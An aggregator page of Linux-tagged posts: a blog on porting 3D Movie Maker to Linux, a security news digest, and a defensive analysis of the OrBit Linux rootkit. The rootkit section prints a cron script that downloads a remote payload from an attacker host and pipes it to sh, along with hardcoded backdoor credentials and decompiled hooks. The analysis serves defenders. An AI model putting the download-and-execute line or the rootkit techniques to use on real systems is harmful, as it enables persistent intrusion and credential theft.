Roastidio.us Tagged with linux

New Linux Kernel Vulnerability Fragnesia Allows Root Privilege Escalation

Fri, 15 May 2026 11:41:30 +0000

The vulnerability, tracked as CVE-2026-46300, is similar to the recently disclosed exploits named Dirty Frag and Copy Fail.

The post New Linux Kernel Vulnerability Fragnesia Allows Root Privilege Escalation appeared first on SecurityWeek.

linux 0-day, access root-owned files as an unprivileged user

Fri, 15 May 2026 04:34:22 +0000

Comments

Porting 3D Movie Maker to Linux - Ben Stone Online

Fri, 15 May 2026 04:34:22 +0000

Porting 3D Movie Maker to Linux

Did you know you can now run Microsoft 3D Movie Maker natively on Linux? Over the last 18 months, I have been working on 3DMMEx, my source port of 3D Movie Maker. One of the goals of my fork is portability. The project recently reached a significant milestone: we can now compile and run on Linux, making 3DMMEx the first known fork of 3D Movie Maker to run outside of Windows! In this post I will explore some of the challenges encountered while porting a 30-year-old multimedia application to a new platform.

Now you can make fun animated movies on Linux!

Background

Back in 2020, I wrote a blog series about reverse engineering Microsoft 3D Movie Maker. Since then, there has been a major development: in May 2022, Microsoft published the full source code for the application. This was quite unexpected - I never thought I would ever get to see the original source code, and was skeptical that it even still existed in Microsoft’s archives, but now it’s up on GitHub… and with a permissive MIT license to boot!

Before we go too much further I have to say a huge thank you to Alice Averlong (née Foone Turing) for her relentless pursuit of the 3DMM source code, and to Scott Hanselman, Jeff Wilcox and the rest of the team at Microsoft who made this release happen. If you’re interested in the story of how the source code was released, check out the Hanselminutes podcast about the release.

The repository includes the source code for the 3DMM application (codenamed “Socrates”), the “Kauai” application framework used by 3DMM and Creative Writer 2, development/authoring tools (including the compiler for the scripting language that I previously reverse engineered), some documentation and pre-rendered assets. The release is complete enough that you can compile your own build of 3DMOVIE.EXE.

When the release came out, I spent some time digging through the repo and wrote some notes about the source code including how to build it with the original development tools. Something I immediately noticed was how well engineered the codebase was: the code style is consistent, code is well commented, and there are assert checks everywhere. Back in 1995, developers didn’t have the luxury of being able to push out updates to fix bugs, so they had to make sure the code was really good before release. The 3DMM codebase is a lot cleaner than some other mid-90s game source code releases I have seen.

Visual Studio Code showing the 3D Movie Maker source code

One of the first things I thought of doing when the source code was released was trying to port it to a new platform. I didn’t want to make my own fork (that’s a lot of work!), so I joined the 3DMMForever project which started up shortly after the release to modernise 3DMM. We replaced the old makefiles with CMake and solved a bunch of issues to get 3DMM compiling with a modern compiler, Visual Studio 2022. These were good first steps towards a portable 3DMM.

Unfortunately, the project stalled not long after that… so in late 2024 I forked 3DMMForever to create 3DMMEx. My original plan was to fix a few small issues in 3DMMForever and do some initial exploration of what was needed to port 3DMM to other platforms. There were a few major issues that made porting difficult:

The code used a pre-standardised C++ dialect that only compiled with Microsoft Visual C++.
The Kauai application framework is “cross-platform”, in that it supports exactly two platforms: Windows and Macintosh 68K. Macintosh support is very incomplete though.
The 3DMM application is built on top of Kauai’s cross-platform abstractions, but sometimes breaks through the abstractions and calls directly into Win32 APIs.
The framework has some inline x86 assembly language in performance-sensitive functions.
The project makes assumptions about pointer sizes that cause compile errors on 64-bit systems.
The framework has a lot of functionality that isn’t used by 3DMM but is required for the authoring tools.
Some external dependencies are linked into the build as pre-compiled static libraries.
There are no tests for most of the code, which makes it difficult to catch regressions. The 3DMM developers used automated tests during development and even left some automated test hooks behind, but the tests were not part of the open-source release.

If you were to take the source code as-is and try to compile it on another platform, you would be forced to confront all of these issues at the same time. So, I decided to try and tackle some of the problems in isolation while maintaining the original Windows x86 build. My thought was if I solved some of these problems, maybe my work could be useful for someone else who wanted to port it to another platform.

Sure enough, shortly after I started my fork I received an email from an awesome software developer named Mark Cave-Ayland. Mark was interested in porting 3DMM to Linux so he could get it running on a Raspberry Pi for his children to use. I thought that was pretty cool! We worked together over the last year to get 3DMM working on Linux, with Mark focusing on Linux porting while I focused on SDL porting on Windows.

Static libraries

The 3DMM project has two external dependencies that are packaged as static libraries: BRender and AudioMan. BRender is a 3D rendering engine developed by Argonaut Technologies. The source code for BRender was published around the same time as 3DMM, after Alice Averlong obtained approval from Jez San, the former CEO of Argonaut Technologies. BRender can be built from source, but it contains a significant amount of hand-rolled x86 assembly language code. One of the 3DMMForever contributors @prettytofugirl did some great work on replacing all of the x86 assembly with portable C code, which I am now using in 3DMMEx.

AudioMan is a sound mixer library used in a number of mid-90s Microsoft multimedia products. AudioMan is used in 3DMM not just for playing sounds, but for converting imported and recorded sounds too. The static library wasn’t going to work when compiling for anything other than Windows x86 with Visual Studio. So, I decided to start my own mini decompilation project! Over the course of a couple of weekends, I used Ghidra to reverse engineer the AUDIOD.LIB static library and decompile it to C++. Full decompilation is usually pretty difficult, but in this case I had a debug build of the library with full symbol information. I also didn’t need the entire library for 3DMM to work properly, so only the critical components were decompiled. This was quite a fun tangent, and I should probably write a blog about it.

Decompiling AudioMan was an important part of building Windows x64 and ARM64 versions of 3DMMEx. However, it turned out to be tightly coupled to Windows sound APIs and COM interfaces so it would have been difficult to make it work on non-Windows platforms. Instead, I added a new wave sound playback module using miniaudio for non-Windows platforms. Integrating miniaudio also solved the problem of cross-platform audio input required by the in-app sound recording features.

Removing assembly language

Some functions in Kauai contain hand-optimised assembly language. This is used in functions that are performance-sensitive, such as copying memory, bitmap image manipulation and data compression. Compile-time #defines are used to switch between C++ and assembly language implementations. Some functions have optimised versions for both Intel x86 for Windows and Motorola 68020 for the Macintosh.

The original codebase also includes a code generator that produces x86 assembly language versions of the two custom compression algorithms used in Kauai. When I first started reverse engineering 3D Movie Maker, I remember finding the KCD2 decompression function in IDA and being a bit horrified by how complex it looked. I thought, “this could not have been written by a human”. It turns out I was right!

IDA control flow graph of the KCD2 decompression function

Switching to the C++ versions was pretty easy as I just had to remove a #define, but it did surface a few bugs in the corresponding C++ implementations. Removing the assembly versions also led to some minor performance improvements, as the app was now able to take advantage of the C runtime’s memcpy/memmove implementations that are optimised for modern processors.

Boring engineering stuff

Porting 3DMM to new platforms requires making lots of changes that are pretty likely to break existing code. Before making major changes, I decided to spend some time improving the debugging and testing experience. This would hopefully help to catch regressions as I made changes. These changes included:

The Kauai framework had a small number of unit tests. I ported these tests to Google Test and integrated them into the build.
Kauai uses custom data types that are hard to read in the Visual Studio debugger. I wrote some NatVis visualisers to give Visual Studio hints for how to render certain types. For example, the string class (STN) now shows the value of the string instead of a pointer to a buffer.
I wanted to avoid making any changes that could break file format compatibility, to ensure that you can still load and save your movie files from 30 years ago. So, I added static asserts around file format structures to ensure that they would not change in size when compiling for other platforms. These asserts helped to identify issues when porting 3DMM to 64-bit systems.
Debugging 3DMM’s UI is challenging because most of the logic occurs inside scripts. I added extra logging to show the current executing script to make it easier to follow UI logic as it executes.
There were a lot of minor refactors to add seams between components so I could add new implementations for SDL/cross-platform builds without removing the original working Win32 implementations.

Visual Studio debugger displaying custom string objects with and without the NatVis visualisers

I also decided to keep the Apps Hungarian code style used by the original developers in the 1990s. It might be a bit odd to do that in 2026, but I wanted to keep new code consistent with the original code. It takes some time to get used to it, but after a while of working on the code base you won’t think twice about variable names like mpgrfchpsz! 😄

Replacing Win32 with SDL

Kauai’s GUI library is written to use the Win32 APIs on Windows, and the Macintosh Toolbox on System 7. I replaced the Win32 GUI implementation with SDL, a popular open-source library for cross-platform multimedia applications.

To make SDL testing easier, I started by writing a small “hello world” Kauai application that tested event dispatch and basic rendering. This avoided having to have the entire application working correctly in order to test the framework changes. I used the test app to get window creation and basic input handling working, then started working on rendering.

Most of the SDL backend was fairly straightforward: Kauai already had pretty good abstractions around GUI features. For example, all of the graphics are handled in the GNV (Graphics Environment) and GPT (Graphics Port) classes. These classes have methods like DrawRcs for drawing a rectangle, or DrawRgch for rendering text. All I had to do was replace the Win32 GDI rendering code with SDL equivalents.

This was a bit of a challenge at times because some operations that were a single line of code in Win32 would have to be replaced with hundreds of lines of new code for SDL. Font management is a good example. Many 90s multimedia applications use only a fixed set of fonts that are packaged alongside the application’s assets. 3DMM, however, wants to be able to discover and use any TrueType font available on your system. In the Win32 API, enumerating fonts is a simple call to EnumFonts which gives you a callback on each new font. From there you can call CreateFontIndirect to get a font handle for rendering text. SDL does not have any way of enumerating fonts, so this must be implemented per platform.

Another example is keyboard shortcut handling. Win32 has Accelerator Tables which provide a mapping between virtual keycodes and WM_COMMAND messages. Accelerator tables are typically stored in the resource section of your executable. When your application starts, you call LoadAccelerators to load the table, and then call TranslateAccelerator in your event loop to translate keypress commands to WM_COMMANDs. All of the actual work of managing the table is handled for you by Windows. To get keyboard shortcuts to work on SDL builds I had to reimplement the accelerator table system. An upside of this reimplementation is it makes it a lot easier to support custom keybindings. I’m planning to add support for that in a future release.

One thing that caught me out a bit late was that strings in SDL are expected to be UTF-8 encoded. 3DMM defaults to the system’s default code page for strings (CP1252 on an English language system). This made the rendered text look almost correct until I found a part of the UI that had an em-dash rendered as a box instead. So, I added extra methods to convert to/from UTF-8. 3DMM also supports Unicode using UCS-2 but it is very broken in the original source release, and wasn’t completed until the Japanese release in 1996. In the future I’d like to change all of the string handling to be UTF-8 internally but that requires some fundamental changes to how movies are serialised.

Drawing the rest of the owl penguin

With all the inline assembly language removed and the SDL backend working, 3DMMEx was approaching a point where it might be possible to run it natively on another platform. This is where Mark did a huge amount of work to solve many problems, ranging from dealing with case-sensitive filenames and errant backslashes to writing new modules for POSIX platform support and integrating FluidSynth for MIDI playback and GStreamer for playing cutscenes. A few months later, Mark had 3DMMEx booting up on Linux! Check out Mark’s blog series on porting 3DMM to Linux which has a great writeup of some of the other technical challenges we encountered.

A huge thanks to Mark for not just his great work on Linux porting, but also keeping me motivated to continue working on 3DMMEx. Porting software to another platform can be a bit of a slog, but working with an experienced and motivated developer like Mark made it a lot easier and more enjoyable!

If you’re interested in trying out 3DMMEx, check out the project on GitHub. Windows binaries for x86, x64 and ARM64 are available on the Releases page. To run on Linux you will need to build it from source, but I’m planning to create binary releases for some popular Linux distros.

While all of the features of 3DMMEx are working in the SDL/Linux port, there are still some improvements to be made. The biggest issue at the moment is mouse handling when dragging actors around the stage, with some input devices being completely unusable. It would also be great to see it ported to some more platforms like macOS and maybe even Emscripten for running in a browser. If you are interested in helping with any of these, check out the GitHub issues or discussions pages.

Finally, here’s a video of 3DMMEx compiling and running on Linux!

Information Security News – 5/4/2026 - Project Hyphae

Fri, 15 May 2026 01:22:16 +0000

Phishing Campaign Abuses Event Invitations to Target U.S. Firms

Article Link: https://cyberpress.org/fake-invites-target-firms/

A large-scale phishing campaign is impersonating corporate event invitations to target organizations in critical U.S. sectors like banking, government, healthcare, and tech.
Victims receive fake event links that use CAPTCHA pages and AI generated registration sites. The attack then takes two paths, one of which is used for credential theft, including real-time theft of multi-factor authentication (MFA) codes.
The other path silently installs remote monitoring and management (RMM) tools on the victim’s device to allow for remote access. The use of CAPTCHA and legitimate RMM tools makes the attack harder to identify.
Stealing credentials and MFA codes allows the attacker to fully compromise accounts. The RMM tools give the attacker persistent access into the system, allowing for long-term access to steal data and move laterally in the environment.

PyPI Package With 1.1M Monthly Downloads Hacked to Push Infostealer

Article Link: https://www.bleepingcomputer.com/news/security/pypi-package-with-11m-monthly-downloads-hacked-to-push-infostealer/

A malicious version of the elementary data package was published in the official PyPI public repository that allowed malicious actors to steal SSH keys, cloud credentials, CI/CD secrets, and other sensitive data.
The attacker exploits a GitHubs Action injection flaw to execute malicious code, leak a GITHUB_TOKEN, and push a trusted release through the affected project’s pipeline.
The release pipeline automatically published to PyPI and its registries causing users to unknowingly pull the compromised update.
A new version replaced the malicious one, however any systems with the malicious version must rotate secrets and restore systems to address the vulnerability.
Additional Information: https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection

Backdoored WordPress Plugin Uses Remote Updates for Code Delivery

Article Link: https://cyberpress.org/backdoored-wordpress-plugin-uses-remote-update/

A backdoor was discovered in the widely used Quick Page/Post Redirect WordPress plugin resulting in versions having modified code that was not a part of an official release.
The plugin contained two malicious parts, a hidden injection feature that added spam backlinks for site visitors and an update function that allowed attackers to push additional code disguised as updates.
The malicious activity was hidden from administrators and remained dormant when the attack server was offline, allowing them to maintain persistent access once the server was back online.
Attackers used the exploit to manipulate search rank, inject content on websites, and execute code to compromise the entire website.

Critical GitHub Vulnerability Exposed Millions of Repositories

Article Link: https://www.securityweek.com/critical-github-vulnerability-exposed-millions-of-repositories/

Wiz (a Google company) discovered a critical remote code execution vulnerability in GitHub that puts millions of repositories at risk across GitHub.com and Enterprise environments.
The vulnerability is the result of an injection flaw in an internal Git protocol, allowing any authenticated user to execute commands on backend servers without any specialized tools or privileges.
On GitHub Enterprise Server, attackers could compromise the server and access all repositories and secrets. On GitHub.com the vulnerability allows remote code execution on storage nodes, potentially exposing repositories belonging to other users and organizations.
Although authentication is required, the barrier to exploitation is low, any user with push access to a repository can exploit the flaw, creating significant risk to code integrity, intellectual property, and sensitive data.
GitHub quickly released a patch for the vulnerability and found no evidence of exploitation. However, a significant number of Enterprise Server instances remain unpatched, leaving many organizations potentially vulnerable.
Technical details: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854

‘Copy Fail’ Logic Flaw in Linux Kernel Enables System Takeover

Article Link: https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html

A Linux local privilege escalation vulnerability deemed “Copy Fail” has been identified that allows any authenticated user to obtain full root access on affected systems.
A flaw in the Linux kernel’s algif_aead cryptographic subsystem enables attackers misuse certain crypto-related features to inject their own data into protected system files. These files then give the attacker elevated privileges on the affected system.
The exploit runs reliably and works across most major Linux distributions and containerized environments due to shared page cache behavior. It requires no special conditions beyond local user access.
Vendors have started to release security advisories and patches to address the vulnerability. Organizations are strongly advised to patch immediately given the ease of exploitation and the potential for full system compromise.
Additional information: https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/
Technical details: https://ostechnix.com/debian-13-trixie-copy-fail-cve-2026-31431-vulnerability-fix/

Medtronic Hack Confirmed After ShinyHunters Threatens Data Leak

Article Link: https://www.securityweek.com/medtronic-hack-confirmed-after-shinyhunters-threatens-data-leak/

Global medical technology company Medtronic confirmed a cyber-attack after the extortion group ShinyHunters claimed they stole millions of records from the organization.
The attackers claim to have breached Medtronic’s corporate IT network and exfiltrated data, they then demanded a ransom after threatening to publish the information.
The group then listed Medtronic on their leak website, claiming to have over 9 million records including personal information and internal corporate data.
Medtronic stated that its medical products, manufacturing capabilities, hospital systems, and patient safety systems were not affected by the breach due to network segmentation. They continue to investigate the breach to determine the scope of information that was accessed.

TeamPCP-linked VECT 2.0 Ransomware Unintentionally Destroys Files Larger Than 128 KB

Article Link: https://thehackernews.com/2026/04/new-wave-of-dprk-attacks-uses-ai.html

Researchers at Check Point found that VECT 2.0 ransomware, which is offered as ransomware-as-a-service (RaaS), contains a flaw that destroys files larger than 128 KB during encryption, making recovery impossible, even for the attackers.
A coding error in the encryption process overwrites essential decryption data when handling large files. Combined with poor implementation, this causes the ransomware to irreversibly corrupt data rather than properly encrypt it.
Additional coding issues were identified, but this flaw is the most severe, as it can result in complete data loss even if a ransom is paid.
The case highlights how rapidly emerging ransomware operations can appear polished while containing critical flaws. It also underscores the risk organizations take when paying ransoms, as data may be unrecoverable, even if the attackers intend to provide decryption.

Hackers Earning Millions from Hijacked Cargo, FBI Says

Article Link: https://therecord.media/hackers-earning-millions-from-hijacked-cargo-fbi

The Federal Bureau of Investigation reports cargo theft reached nearly $725 million across the U.S. and Canada last year, driven by actors posing as brokers and carriers to reroute high-value shipments.
Over the past two years, attackers gained access to broker and carrier systems, manipulated load boards, created fake listings, and used double-brokering to divert deliveries and collect goods.
Losses rose 60% in 2025, with average theft values up 36%, affecting sectors from vaping products to auto dealers, where entire vehicle shipments have been diverted and taken.
The FBI calls for stronger identity validation for brokers and carriers, deeper review of load (freight) board activity, and tracking of shipment changes to detect unauthorized rerouting.
FBI PSA: https://www.ic3.gov/PSA/2026/PSA260430

Microsoft to Roll Out Entra Passkeys on Windows in Late April

Article Link: https://www.bleepingcomputer.com/news/microsoft/microsoft-to-roll-out-entra-passkeys-on-windows-in-late-april/

Microsoft is introducing passkey support for Windows devices to enable phishing-resistant, passwordless sign-ins for Microsoft Entra–protected resources, including on personal and unmanaged devices.
Passkeys are not transmitted over the network making them more difficult to be stolen via phishing, credential stuffing, or malware, significantly reducing reliance on traditional passwords.
This increases protections against Entra SSO and software-as-a-service targeted credential theft campaigns.
Microsoft is extending passwordless authentication beyond corporate managed devices, allowing it to be implemented on personal systems as well.

OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments

Fri, 15 May 2026 01:11:53 +0000

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2022

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Dropper
40b5127c	0xA2	/lib/libntpVnQE6mk/	2l8	c4ss0ul3tt3	66	54	f1612924

We will refer to this variant as Lineage A “Full” build of OrBit.

OrBit variants through the years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

Hash	XOR	Working dir	Username	Password	Exports	# Hooks	Dropper
ec7462c3	0xA2	/lib/libseconf/	adm1n	asdfasdf	67	53	8ea420d9

Samples From 2023

Hash	XOR	Working dir	Username	Password	Exports	# Hooks	Dropper
d419a9b1	0xA2	/lib/fuckwhitehatshome/	fuckwhitehatsuser	fuckwhitehatspass	67	53
296d28eb	0xA2	/lib/libseconf/	adm1n	asdfasdf	65	54
3ba6c174	0xA2	/lib/libseconf/	adm1n	(not present)	54	49	26082cd3
4203271c	0xA2	/lib/libseconf/	b4ph0m3t0	(not present)	54	49

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal
xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result <= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i > 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }

The exported xread function in sample 296d28eb

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

Hash	XOR	Working dir	Username	Password	Exports	# Hooks	Dropper
eea274ed	0xAA	/lib64/libseconf/	Y0u4reCu6e	1qaz@WSX3edc123	66	54
a6138638	0xAA	/lib/locate/	Y0u4reCu6e	1qaz@WSX3edc123	66	54
a34299a1	0xA2	/lib/libseconf/	rebel	(not present)	56	49
b1dd18a6	0xA2	/lib/libseconf/	Gestuff	(not present)	54	49	fc2e0cb6
989f7eb4	0xA2	/lib/libseconf/	adm1n	(not present)	54	49	48a68d05

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:

Credential harvesting is saved in remote.txt.
This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

Hash	XOR	Working dir	Username	Password	Exports	# Hooks	Role
8e83cbb2	0xA2	/lib/libseconf/	infinity	302010	66	54	payload .so
2b2eeb22	0xA2	/lib/libseconf/	adm1n	asdfasdf	64	54	payload .so (extracted from d3d204c1)
84828f31	0xA2	/lib/libseconf/	adm1n	asdfasdf	64	54	truncated copy of2b2eeb22
090b15fd	—	—	—	—	—	—	dropper (carries 8e83cbb2)
64a3ebd3	—	—	—	—	—	—	dropper (carries 8e83cbb2)
b85ed157	—	—	—	—	—	—	dropper (carries 8e83cbb2)
d3d204c1	—	—	—	—	—	—	dropper (carries 2b2eeb22)
73b95b7d	n/a	—	—	—	—	—	infector (carries 090b15fd as inner ELF)

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

/bin/ls
All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/shwget--quiethttp://cf0[.]pw/0/etc/cron.hourly/0-O-2>/dev/null|sh>/dev/null2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r",0char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][",0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

